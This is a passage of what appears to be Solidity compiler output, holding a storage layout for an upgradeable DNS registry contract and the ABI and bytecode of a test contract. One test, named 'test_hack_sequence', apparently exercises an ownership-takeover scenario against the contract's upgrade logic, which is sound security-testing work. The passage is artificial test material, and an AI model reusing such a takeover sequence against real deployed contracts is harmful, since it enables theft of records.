2737:158::-;;22836:53;22883:5;22836:53;:::i;:::-;22823:66;;22813:82;;;:::o;22901:129::-;;23000:24;23018:5;23000:24;:::i;:::-;22987:37;;22977:53;;;:::o;23036:126::-;;23119:37;23150:5;23119:37;:::i;:::-;23106:50;;23096:66;;;:::o;23168:113::-;;23251:24;23269:5;23251:24;:::i;:::-;23238:37;;23228:53;;;:::o;23287:154::-;23371:6;23366:3;23361;23348:30;23433:1;23424:6;23419:3;23415:16;23408:27;23338:103;;;:::o;23447:307::-;23515:1;23525:113;23539:6;23536:1;23533:13;23525:113;;;23624:1;23619:3;23615:11;23609:18;23605:1;23600:3;23596:11;23589:39;23561:2;23558:1;23554:10;23549:15;;23525:113;;;23656:6;23653:1;23650:13;23647:2;;;23736:1;23727:6;23722:3;23718:16;23711:27;23647:2;23496:258;;;;:::o;23760:48::-;23793:9;23814:102;;23906:2;23902:7;23897:2;23890:5;23886:14;23882:28;23872:38;;23862:54;;;:::o;23922:122::-;23995:24;24013:5;23995:24;:::i;:::-;23988:5;23985:35;23975:2;;24034:1;24031;24024:12;23975:2;23965:79;:::o;24050:116::-;24120:21;24135:5;24120:21;:::i;:::-;24113:5;24110:32;24100:2;;24156:1;24153;24146:12;24100:2;24090:76;:::o;24172:120::-;24244:23;24261:5;24244:23;:::i;:::-;24237:5;24234:34;24224:2;;24282:1;24279;24272:12;24224:2;24214:78;:::o;24298:148::-;24384:37;24415:5;24384:37;:::i;:::-;24377:5;24374:48;24364:2;;24436:1;24433;24426:12;24364:2;24354:92;:::o;24452:107::-;24533:1;24526:5;24523:12;24513:2;;24549:1;24546;24539:12;24513:2;24503:56;:::o;24565:122::-;24638:24;24656:5;24638:24;:::i;:::-;24631:5;24628:35;24618:2;;24677:1;24674;24667:12;24618:2;24608:79;:::o","storage-layout":"{\"storage\":[{\"astId\":1744,\"contract\":\"src/DNS.sol:DNS\",\"label\":\"upgrades\",\"offset\":0,\"slot\":\"0\",\"type\":\"t_array(t_struct(UpgradeConfig)1740_storage)dyn_storage\"},{\"astId\":13,\"contract\":\"src/DNS.sol:DNS\",\"label\":\"data\",\"offset\":0,\"slot\":\"1\",\"type\":\"t_mapping(t_string_memory_ptr,t_struct(Entry)1425_storage)\"}],\"types\":{\"t_address\":{\"encoding\":\"inplace\",\"label\":\"address\",\"numberOfBytes\":\"20\"},\"t_array(t_struct(UpgradeConfig)1740_storage)dyn_storage\":{\"base\":\"t_struct(UpgradeConfig)1740_storage\",\"encoding\":\"dynamic_array\",\"label\":\"struct Upgrade.UpgradeConfig[]\",\"numberOfBytes\":\"32\"},\"t_bytes4\":{\"encoding\":\"inplace\",\"label\":\"bytes4\",\"numberOfBytes\":\"4\"},\"t_contract(IDNS)1462\":{\"encoding\":\"inplace\",\"label\":\"contract IDNS\",\"numberOfBytes\":\"20\"},\"t_enum(Opt)1731\":{\"encoding\":\"inplace\",\"label\":\"enum Upgrade.Opt\",\"numberOfBytes\":\"1\"},\"t_mapping(t_address,t_enum(Opt)1731)\":{\"encoding\":\"mapping\",\"key\":\"t_address\",\"label\":\"mapping(address => enum Upgrade.Opt)\",\"numberOfBytes\":\"32\",\"value\":\"t_enum(Opt)1731\"},\"t_mapping(t_string_memory_ptr,t_struct(Entry)1425_storage)\":{\"encoding\":\"mapping\",\"key\":\"t_string_memory_ptr\",\"label\":\"mapping(string => struct IDNS.Entry)\",\"numberOfBytes\":\"32\",\"value\":\"t_struct(Entry)1425_storage\"},\"t_string_memory_ptr\":{\"encoding\":\"bytes\",\"label\":\"string\",\"numberOfBytes\":\"32\"},\"t_struct(Entry)1425_storage\":{\"encoding\":\"inplace\",\"label\":\"struct IDNS.Entry\",\"members\":[{\"astId\":1422,\"contract\":\"src/DNS.sol:DNS\",\"label\":\"ip\",\"offset\":0,\"slot\":\"0\",\"type\":\"t_bytes4\"},{\"astId\":1424,\"contract\":\"src/DNS.sol:DNS\",\"label\":\"owner\",\"offset\":4,\"slot\":\"0\",\"type\":\"t_address\"}],\"numberOfBytes\":\"32\"},\"t_struct(UpgradeConfig)1740_storage\":{\"encoding\":\"inplace\",\"label\":\"struct Upgrade.UpgradeConfig\",\"members\":[{\"astId\":1735,\"contract\":\"src/DNS.sol:DNS\",\"label\":\"userOpt\",\"offset\":0,\"slot\":\"0\",\"type\":\"t_mapping(t_address,t_enum(Opt)1731)\"},{\"astId\":1737,\"contract\":\"src/DNS.sol:DNS\",\"label\":\"when\",\"offset\":0,\"slot\":\"1\",\"type\":\"t_uint256\"},{\"astId\":1739,\"contract\":\"src/DNS.sol:DNS\",\"label\":\"to\",\"offset\":0,\"slot\":\"2\",\"type\":\"t_contract(IDNS)1462\"}],\"numberOfBytes\":\"96\"},\"t_uint256\":{\"encoding\":\"inplace\",\"label\":\"uint256\",\"numberOfBytes\":\"32\"}}}"},"src/DNSTest.t.sol:DNSTest":{"abi":"[{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"target\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"bool\",\"name\":\"exact\",\"type\":\"bool\"}],\"name\":\"eventListener\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"name\":\"log_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"key\",\"type\":\"bytes32\"},{\"indexed\":false,\"internalType\":\"address\",\"name\":\"val\",\"type\":\"address\"}],\"name\":\"log_named_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"key\",\"type\":\"bytes32\"},{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"val\",\"type\":\"bytes32\"}],\"name\":\"log_named_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"key\",\"type\":\"bytes32\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"key\",\"type\":\"bytes32\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"key\",\"type\":\"bytes32\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"}],\"name\":\"log_named_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"key\",\"type\":\"bytes32\"},{\"indexed\":false,\"internalType\":\"string\",\"name\":\"val\",\"type\":\"string\"}],\"name\":\"log_named_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"key\",\"type\":\"bytes32\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"}],\"name\":\"log_named_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"logs\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"IS_TEST\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"failed\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"setUp\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"test_hack_sequence\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"test_safe_sequence\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}]","bin":"608060405234801561001057600080fd5b5060016000806101000a81548160ff02191690831515021790555061a5e9806200003b6000396000f3fe60806040523480156200001157600080fd5b50600436106200005e5760003560e01c80630a9254e41462000063578063180428c0146200006f578063538d1c33146200007b578063ba414fa61462000087578063fa7626d414620000a9575b600080fd5b6200006d620000cb565b005b62000079620000d7565b005b6200008562000f11565b005b6200009162002f86565b604051620000a0919062003a3b565b60405180910390f35b620000b362002f99565b604051620000c2919062003a3b565b60405180910390f35b620000d562002faa565b565b60606040518060400160405280600581526020017f612e65746800000000000000000000000000000000000000000000000000000081525090506000630102030460e01b905060606040518060400160405280600581526020017f622e65746800000000000000000000000000000000000000000000000000000081525090506000630506070860e01b905060008060066000600481106200017557fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639be1238f87876040518363ffffffff1660e01b8152600401620001d392919062003b5a565b600060405180830381600087803b158015620001ee57600080fd5b505af115801562000203573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663461a4478876040518263ffffffff1660e01b815260040162000264919062003b36565b604080518083038186803b1580156200027c57600080fd5b505afa15801562000291573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002b791906200389d565b809250819350505062000309827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916867bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191662003448565b620003458160066000600481106200031d57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662003574565b60066001600481106200035457fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639be1238f85856040518363ffffffff1660e01b8152600401620003b292919062003b5a565b600060405180830381600087803b158015620003cd57600080fd5b505af1158015620003e2573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663461a4478856040518263ffffffff1660e01b815260040162000443919062003b36565b604080518083038186803b1580156200045b57600080fd5b505afa15801562000470573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200049691906200389d565b8092508193505050620004e8827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916847bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191662003448565b62000524816006600160048110620004fc57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662003574565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166327557157603c4201600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401620005a892919062003c4a565b600060405180830381600087803b158015620005c357600080fd5b505af1158015620005d8573d6000803e3d6000fd5b505050506200068a600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d2ac7a5f6040518163ffffffff1660e01b815260040160206040518083038186803b1580156200064957600080fd5b505afa1580156200065e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000684919062003830565b620036f8565b60066000600481106200069957fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635b48684e6040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156200070357600080fd5b505af115801562000718573d6000803e3d6000fd5b5050505060066002600481106200072b57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635b48684e6040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156200079557600080fd5b505af1158015620007aa573d6000803e3d6000fd5b50505050600060029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e5d6bf02600a6040518263ffffffff1660e01b81526004016200080c919062003abf565b600060405180830381600087803b1580156200082757600080fd5b505af11580156200083c573d6000803e3d6000fd5b5050505060066002600481106200084f57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d4eec5a66040518163ffffffff1660e01b8152600401600060405180830381600087803b158015620008b957600080fd5b505af1158015620008ce573d6000803e3d6000fd5b505050506006600360048110620008e157fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635b48684e6040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156200094b57600080fd5b505af115801562000960573d6000803e3d6000fd5b50505050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166355f291666040518163ffffffff1660e01b8152600401600060405180830381600087803b158015620009cf57600080fd5b505af1158015620009e4573d6000803e3d6000fd5b5050505062000a97600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d2ac7a5f6040518163ffffffff1660e01b815260040160206040518083038186803b15801562000a5557600080fd5b505afa15801562000a6a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000a90919062003830565b15620036f8565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632755715760014201600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b815260040162000b1b92919062003c4a565b600060405180830381600087803b15801562000b3657600080fd5b505af115801562000b4b573d6000803e3d6000fd5b5050505062000bfd600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d2ac7a5f6040518163ffffffff1660e01b815260040160206040518083038186803b15801562000bbc57600080fd5b505afa15801562000bd1573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000bf7919062003830565b620036f8565b600060029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e5d6bf0260646040518263ffffffff1660e01b815260040162000c5b919062003aa2565b600060405180830381600087803b15801562000c7657600080fd5b505af115801562000c8b573d6000803e3d6000fd5b5050505062000d3e600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d2ac7a5f6040518163ffffffff1660e01b815260040160206040518083038186803b15801562000cfc57600080fd5b505afa15801562000d11573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000d37919062003830565b15620036f8565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d554b2f6876313371337306040518463ffffffff1660e01b815260040162000da39392919062003bc2565b600060405180830381600087803b15801562000dbe57600080fd5b505af115801562000dd3573d6000803e3d6000fd5b50505050600660006004811062000de657fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663461a4478876040518263ffffffff1660e01b815260040162000e42919062003b36565b604080518083038186803b15801562000e5a57600080fd5b505afa15801562000e6f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000e9591906200389d565b809250819350505062000ed0631337133760e01b837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614620036f8565b62000f093073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614620036f8565b505050505050565b60606040518060400160405280600581526020017f612e65746800000000000000000000000000000000000000000000000000000081525090506000630102030460e01b905060606040518060400160405280600581526020017f622e65746800000000000000000000000000000000000000000000000000000081525090506000630506070860e01b9050600080600660006004811062000faf57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639be1238f87876040518363ffffffff1660e01b81526004016200100d92919062003b5a565b600060405180830381600087803b1580156200102857600080fd5b505af11580156200103d573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663461a4478876040518263ffffffff1660e01b81526004016200109e919062003b36565b604080518083038186803b158015620010b657600080fd5b505afa158015620010cb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620010f191906200389d565b809250819350505062001143827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916867bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191662003448565b6200117f8160066000600481106200115757fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662003574565b60066001600481106200118e57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639be1238f85856040518363ffffffff1660e01b8152600401620011ec92919062003b5a565b600060405180830381600087803b1580156200120757600080fd5b505af11580156200121c573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663461a4478856040518263ffffffff1660e01b81526004016200127d919062003b36565b604080518083038186803b1580156200129557600080fd5b505afa158015620012aa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620012d091906200389d565b809250819350505062001322827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916847bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191662003448565b6200135e8160066001600481106200133657fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662003574565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166327557157603c4201600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401620013e292919062003c4a565b600060405180830381600087803b158015620013fd57600080fd5b505af115801562001412573d6000803e3d6000fd5b50505050620014c4600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d2ac7a5f6040518163ffffffff1660e01b815260040160206040518083038186803b1580156200148357600080fd5b505afa15801562001498573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620014be919062003830565b620036f8565b6006600060048110620014d357fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635b48684e6040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156200153d57600080fd5b505af115801562001552573d6000803e3d6000fd5b5050505060066002600481106200156557fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635b48684e6040518163ffffffff1660e01b8152600401600060405180830381600087803b158015620015cf57600080fd5b505af1158015620015e4573d6000803e3d6000fd5b50505050600060029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e5d6bf02600a6040518263ffffffff1660e01b815260040162001646919062003abf565b600060405180830381600087803b1580156200166157600080fd5b505af115801562001676573d6000803e3d6000fd5b5050505060066002600481106200168957fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d4eec5a66040518163ffffffff1660e01b8152600401600060405180830381600087803b158015620016f357600080fd5b505af115801562001708573d6000803e3d6000fd5b5050505060066003600481106200171b57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635b48684e6040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156200178557600080fd5b505af11580156200179a573d6000803e3d6000fd5b50505050600060029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e5d6bf0260466040518263ffffffff1660e01b8152600401620017fc919062003b19565b600060405180830381600087803b1580156200181757600080fd5b505af11580156200182c573d6000803e3d6000fd5b50505050620018df600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d2ac7a5f6040518163ffffffff1660e01b815260040160206040518083038186803b1580156200189d57600080fd5b505afa158015620018b2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620018d8919062003830565b15620036f8565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166390b60de960066000600481106200192f57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b81526004016200196f919062003a1e565b604080518083038186803b1580156200198757600080fd5b505afa1580156200199c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620019c291906200385c565b8092508193505050620019d582620036f8565b62001a0381600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662003574565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166390b60de9600660016004811062001a5057fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b815260040162001a90919062003a1e565b604080518083038186803b15801562001aa857600080fd5b505afa15801562001abd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062001ae391906200385c565b809250819350505062001af78215620036f8565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166390b60de9600660026004811062001b4457fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b815260040162001b84919062003a1e565b604080518083038186803b15801562001b9c57600080fd5b505afa15801562001bb1573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062001bd791906200385c565b809250819350505062001beb8215620036f8565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166390b60de9600660036004811062001c3857fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b815260040162001c78919062003a1e565b604080518083038186803b15801562001c9057600080fd5b505afa15801562001ca5573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062001ccb91906200385c565b809250819350505062001cde82620036f8565b60606040518060400160405280600581526020017f632e6574680000000000000000000000000000000000000000000000000000008152509050600063090a0b0c60e01b905060606040518060400160405280600581526020017f642e65746800000000000000000000000000000000000000000000000000000081525090506000630d0e0f0f60e01b9050600660006004811062001d7957fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639be1238f85856040518363ffffffff1660e01b815260040162001dd792919062003b5a565b600060405180830381600087803b15801562001df257600080fd5b505af115801562001e07573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663461a4478856040518263ffffffff1660e01b815260040162001e68919062003b36565b604080518083038186803b15801562001e8057600080fd5b505afa15801562001e95573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062001ebb91906200389d565b809850819950505062001ef1887bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166000801b62003448565b62001efe87600062003574565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663461a4478856040518263ffffffff1660e01b815260040162001f5b919062003b36565b604080518083038186803b15801562001f7357600080fd5b505afa15801562001f88573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062001fae91906200389d565b809850819950505062002000887bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916847bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191662003448565b6200203c8760066000600481106200201457fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662003574565b60066000600481106200204b57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663461a4478856040518263ffffffff1660e01b8152600401620020a7919062003b36565b604080518083038186803b158015620020bf57600080fd5b505afa158015620020d4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620020fa91906200389d565b80985081995050506200214c887bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916847bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191662003448565b620021888760066000600481106200216057fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662003574565b60066000600481106200219757fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639be1238f83836040518363ffffffff1660e01b8152600401620021f592919062003b5a565b600060405180830381600087803b1580156200221057600080fd5b505af115801562002225573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663461a4478836040518263ffffffff1660e01b815260040162002286919062003b36565b604080518083038186803b1580156200229e57600080fd5b505afa158015620022b3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620022d991906200389d565b80985081995050506200230f887bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166000801b62003448565b6200231c87600062003574565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663461a4478836040518263ffffffff1660e01b815260040162002379919062003b36565b604080518083038186803b1580156200239157600080fd5b505afa158015620023a6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620023cc91906200389d565b80985081995050506200241e887bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191662003448565b6200245a8760066000600481106200243257fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662003574565b60066000600481106200246957fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663461a4478836040518263ffffffff1660e01b8152600401620024c5919062003b36565b604080518083038186803b158015620024dd57600080fd5b505afa158015620024f2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200251891906200389d565b80985081995050506200256a887bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191662003448565b620025a68760066000600481106200257e57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662003574565b6006600160048110620025b557fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639be1238f83836040518363ffffffff1660e01b81526004016200261392919062003b5a565b600060405180830381600087803b1580156200262e57600080fd5b505af115801562002643573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663461a4478836040518263ffffffff1660e01b8152600401620026a4919062003b36565b604080518083038186803b158015620026bc57600080fd5b505afa158015620026d1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620026f791906200389d565b809850819950505062002749887bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191662003448565b620027858760066001600481106200275d57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662003574565b60066001600481106200279457fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663461a4478836040518263ffffffff1660e01b8152600401620027f0919062003b36565b604080518083038186803b1580156200280857600080fd5b505afa1580156200281d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200284391906200389d565b809850819950505062002895887bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191662003448565b620028d1876006600160048110620028a957fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662003574565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663461a4478836040518263ffffffff1660e01b81526004016200292e919062003b36565b604080518083038186803b1580156200294657600080fd5b505afa1580156200295b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200298191906200389d565b8098508199505050620029d3887bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191662003448565b62002a0f876006600060048110620029e757fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662003574565b600063cafecafe60e01b9050600660006004811062002a2a57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f7a4669686836040518363ffffffff1660e01b815260040162002a8892919062003b5a565b600060405180830381600087803b15801562002aa357600080fd5b505af115801562002ab8573d6000803e3d6000fd5b50505050600660006004811062002acb57fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663461a4478866040518263ffffffff1660e01b815260040162002b27919062003b36565b604080518083038186803b15801562002b3f57600080fd5b505afa15801562002b54573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062002b7a91906200389d565b809950819a50505062002bcc897bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191662003448565b62002c0888600660006004811062002be057fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662003574565b600660006004811062002c1757fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166363c951868663cafeaaaa600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518463ffffffff1660e01b815260040162002c9d9392919062003c06565b600060405180830381600087803b15801562002cb857600080fd5b505af192505050801562002cca575060015b62002cd55762002ce2565b62002ce16000620036f8565b5b600660036004811062002cf157fe5b0160009054906101000a900473ffffffffffffffffffffff